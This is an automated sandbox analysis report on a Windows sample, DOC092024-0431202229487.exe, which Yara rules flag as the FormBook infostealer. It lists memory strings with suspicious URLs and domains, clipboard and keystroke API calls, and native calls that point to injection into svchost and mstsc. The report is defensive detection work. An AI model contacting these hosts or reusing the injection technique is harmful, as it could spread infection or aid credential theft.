Source: mstsc.exe, 00000003.00000002.4143406843.0000000002839000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: mstsc.exe, 00000003.00000002.4143406843.000000000284B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: mstsc.exe, 00000003.00000002.4143406843.000000000282B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: mstsc.exe, 00000003.00000003.1963406635.00000000076F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: mstsc.exe, 00000003.00000002.4145420454.0000000005D56000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.0000000003AA6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfgarage.net%2F3lu7%2F%3FpP_8%3DnzWo
Source: mstsc.exe, 00000003.00000002.4145420454.00000000050C6000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.4148237192.00000000073C0000.00000004.00000800.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.0000000002E16000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://whois.gandi.net/en/results?search=ultraleap.net
Source: mstsc.exe, 00000003.00000002.4145420454.000000000570E000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.000000000345E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.63582.photo/5o7d/?pP_8=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3Q
Source: mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: mstsc.exe, 00000003.00000002.4145420454.00000000050C6000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.4148237192.00000000073C0000.00000004.00000800.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.0000000002E16000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.gandi.net/en/domain
Source: mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: mstsc.exe, 00000003.00000002.4145420454.000000000607A000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.0000000003DCA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.rtpngk.xyz/altr/?pP_8=VbdX0kog8qSHBufLtK

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00767099 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00767099

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00767294 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00767294

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

0_2_00767099

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00754342 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_00754342

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0077F5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0077F5D0

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1782440738.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4144779638.0000000004330000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1783144995.0000000003650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4144729578.00000000042E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.4147103044.0000000004CD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.4143200808.0000000002640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.1783204016.0000000003A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.4144609194.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_007129C2 NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,	0_2_007129C2
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_007802AA NtdllDialogWndProc_W,	0_2_007802AA
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077E769 NtdllDialogWndProc_W,CallWindowProcW,	0_2_0077E769
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077EA4E NtdllDialogWndProc_W,	0_2_0077EA4E
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077ECBC PostMessageW,GetFocus,GetDlgCtrlID,_memset,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,	0_2_0077ECBC
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0072AC99 NtdllDialogWndProc_W,	0_2_0072AC99
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0072AD5C NtdllDialogWndProc_W,745EC8D0,NtdllDialogWndProc_W,	0_2_0072AD5C
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0072AFB4 GetParent,NtdllDialogWndProc_W,	0_2_0072AFB4
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077EFA8 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	0_2_0077EFA8
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F0A1 SendMessageW,NtdllDialogWndProc_W,	0_2_0077F0A1
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F122 DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	0_2_0077F122
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F37C NtdllDialogWndProc_W,	0_2_0077F37C
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F3DA NtdllDialogWndProc_W,	0_2_0077F3DA
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F3AB NtdllDialogWndProc_W,	0_2_0077F3AB
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F45A ClientToScreen,NtdllDialogWndProc_W,	0_2_0077F45A
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F425 NtdllDialogWndProc_W,	0_2_0077F425
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	0_2_0077F5D0
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F594 GetWindowLongW,NtdllDialogWndProc_W,	0_2_0077F594
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0072B7F2 NtdllDialogWndProc_W,	0_2_0072B7F2
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0072B845 NtdllDialogWndProc_W,	0_2_0072B845
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077FE80 NtdllDialogWndProc_W,	0_2_0077FE80
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077FF04 GetClientRect,GetCursorPos,ScreenToClient,NtdllDialogWndProc_W,	0_2_0077FF04
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077FF91 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W,	0_2_0077FF91
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042C553 NtClose,	1_2_0042C553
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372B60 NtClose,LdrInitializeThunk,	1_2_03372B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03372DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033735C0 NtCreateMutant,LdrInitializeThunk,	1_2_033735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03374340 NtSetContextThread,	1_2_03374340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03374650 NtSuspendThread,	1_2_03374650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372BA0 NtEnumerateValueKey,	1_2_03372BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372B80 NtQueryInformationFile,	1_2_03372B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372BF0 NtAllocateVirtualMemory,	1_2_03372BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372BE0 NtQueryValueKey,	1_2_03372BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372AB0 NtWaitForSingleObject,	1_2_03372AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372AF0 NtWriteFile,	1_2_03372AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372AD0 NtReadFile,	1_2_03372AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372F30 NtCreateSection,	1_2_03372F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372F60 NtCreateProcessEx,	1_2_03372F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372FB0 NtResumeThread,	1_2_03372FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372FA0 NtQuerySection,	1_2_03372FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372F90 NtProtectVirtualMemory,	1_2_03372F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372FE0 NtCreateFile,	1_2_03372FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372E30 NtWriteVirtualMemory,	1_2_03372E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372EA0 NtAdjustPrivilegesToken,	1_2_03372EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372E80 NtReadVirtualMemory,	1_2_03372E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372EE0 NtQueueApcThread,	1_2_03372EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372D30 NtUnmapViewOfSection,	1_2_03372D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372D10 NtMapViewOfSection,	1_2_03372D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372D00 NtSetInformationFile,	1_2_03372D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372DB0 NtEnumerateKey,	1_2_03372DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372DD0 NtDelayExecution,	1_2_03372DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372C00 NtQueryInformationProcess,	1_2_03372C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372C70 NtFreeVirtualMemory,	1_2_03372C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372C60 NtCreateKey,	1_2_03372C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372CA0 NtQueryInformationToken,	1_2_03372CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372CF0 NtOpenProcess,	1_2_03372CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03372CC0 NtQueryVirtualMemory,	1_2_03372CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03373010 NtOpenDirectoryObject,	1_2_03373010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03373090 NtSetValueKey,	1_2_03373090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033739B0 NtGetContextThread,	1_2_033739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03373D10 NtOpenProcessToken,	1_2_03373D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03373D70 NtOpenThread,	1_2_03373D70
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04594650 NtSuspendThread,LdrInitializeThunk,	3_2_04594650
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04594340 NtSetContextThread,LdrInitializeThunk,	3_2_04594340
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_04592C70
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592C60 NtCreateKey,LdrInitializeThunk,	3_2_04592C60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592CA0 NtQueryInformationToken,LdrInitializeThunk,	3_2_04592CA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592D10 NtMapViewOfSection,LdrInitializeThunk,	3_2_04592D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592D30 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_04592D30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592DD0 NtDelayExecution,LdrInitializeThunk,	3_2_04592DD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_04592DF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592EE0 NtQueueApcThread,LdrInitializeThunk,	3_2_04592EE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592E80 NtReadVirtualMemory,LdrInitializeThunk,	3_2_04592E80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592F30 NtCreateSection,LdrInitializeThunk,	3_2_04592F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592FE0 NtCreateFile,LdrInitializeThunk,	3_2_04592FE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592FB0 NtResumeThread,LdrInitializeThunk,	3_2_04592FB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592AD0 NtReadFile,LdrInitializeThunk,	3_2_04592AD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592AF0 NtWriteFile,LdrInitializeThunk,	3_2_04592AF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592B60 NtClose,LdrInitializeThunk,	3_2_04592B60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_04592BF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592BE0 NtQueryValueKey,LdrInitializeThunk,	3_2_04592BE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592BA0 NtEnumerateValueKey,LdrInitializeThunk,	3_2_04592BA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045935C0 NtCreateMutant,LdrInitializeThunk,	3_2_045935C0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045939B0 NtGetContextThread,LdrInitializeThunk,	3_2_045939B0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592C00 NtQueryInformationProcess,	3_2_04592C00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592CC0 NtQueryVirtualMemory,	3_2_04592CC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592CF0 NtOpenProcess,	3_2_04592CF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592D00 NtSetInformationFile,	3_2_04592D00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592DB0 NtEnumerateKey,	3_2_04592DB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592E30 NtWriteVirtualMemory,	3_2_04592E30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592EA0 NtAdjustPrivilegesToken,	3_2_04592EA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592F60 NtCreateProcessEx,	3_2_04592F60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592F90 NtProtectVirtualMemory,	3_2_04592F90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592FA0 NtQuerySection,	3_2_04592FA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592AB0 NtWaitForSingleObject,	3_2_04592AB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04592B80 NtQueryInformationFile,	3_2_04592B80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04593010 NtOpenDirectoryObject,	3_2_04593010
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04593090 NtSetValueKey,	3_2_04593090
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04593D70 NtOpenThread,	3_2_04593D70
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_04593D10 NtOpenProcessToken,	3_2_04593D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_02668EE0 NtCreateFile,	3_2_02668EE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_02669330 NtAllocateVirtualMemory,	3_2_02669330
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_02669040 NtReadFile,	3_2_02669040
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_02669130 NtDeleteFile,	3_2_02669130
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_026691D0 NtClose,	3_2_026691D0

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0075702F: CreateFileW,DeviceIoControl,CloseHandle,

0_2_0075702F

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0074B9F1 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,74775590,CreateProcessAsUserW,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,

0_2_0074B9F1

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_007582D0 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_007582D0

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0073BDF6	0_2_0073BDF6
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0071A0C0	0_2_0071A0C0
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00730183	0_2_00730183
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0075220C	0_2_0075220C
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00718530	0_2_00718530
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00716670	0_2_00716670
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00730677	0_2_00730677
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00748779	0_2_00748779
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077A8DC	0_2_0077A8DC
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00730A8F	0_2_00730A8F
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00716BBC	0_2_00716BBC
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00718CA0	0_2_00718CA0
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0073AC83	0_2_0073AC83
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0072AD5C	0_2_0072AD5C
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00730EC4	0_2_00730EC4
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00744EBF	0_2_00744EBF
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_007730AD	0_2_007730AD
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0074113E	0_2_0074113E
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_007312F9	0_2_007312F9
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0074542F	0_2_0074542F
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077F5D0	0_2_0077F5D0
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00723680	0_2_00723680
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0074599F	0_2_0074599F
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0073DA74	0_2_0073DA74
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0071DCD0	0_2_0071DCD0
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00715D32	0_2_00715D32
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0071BDF0	0_2_0071BDF0
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00731E5A	0_2_00731E5A
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0073DF69	0_2_0073DF69
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00747FFD	0_2_00747FFD
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0075BFB8	0_2_0075BFB8
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_04D73620	0_2_04D73620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418563	1_2_00418563
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410023	1_2_00410023
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E0A3	1_2_0040E0A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403109	1_2_00403109
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403110	1_2_00403110
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042EB33	1_2_0042EB33
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FDFC	1_2_0040FDFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402670	1_2_00402670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FE03	1_2_0040FE03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416743	1_2_00416743
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FA352	1_2_033FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034003E6	1_2_034003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0334E3F0	1_2_0334E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E0274	1_2_033E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C02C0	1_2_033C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033DA118	1_2_033DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03330100	1_2_03330100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033C8158	1_2_033C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F41A2	1_2_033F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034001AA	1_2_034001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F81CC	1_2_033F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D2000	1_2_033D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340770	1_2_03340770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03364750	1_2_03364750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0333C7C0	1_2_0333C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0335C6E0	1_2_0335C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03340535	1_2_03340535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03400591	1_2_03400591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033E4420	1_2_033E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F2446	1_2_033F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033EE4F6	1_2_033EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FAB40	1_2_033FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033F6BD7	1_2_033F6BD7
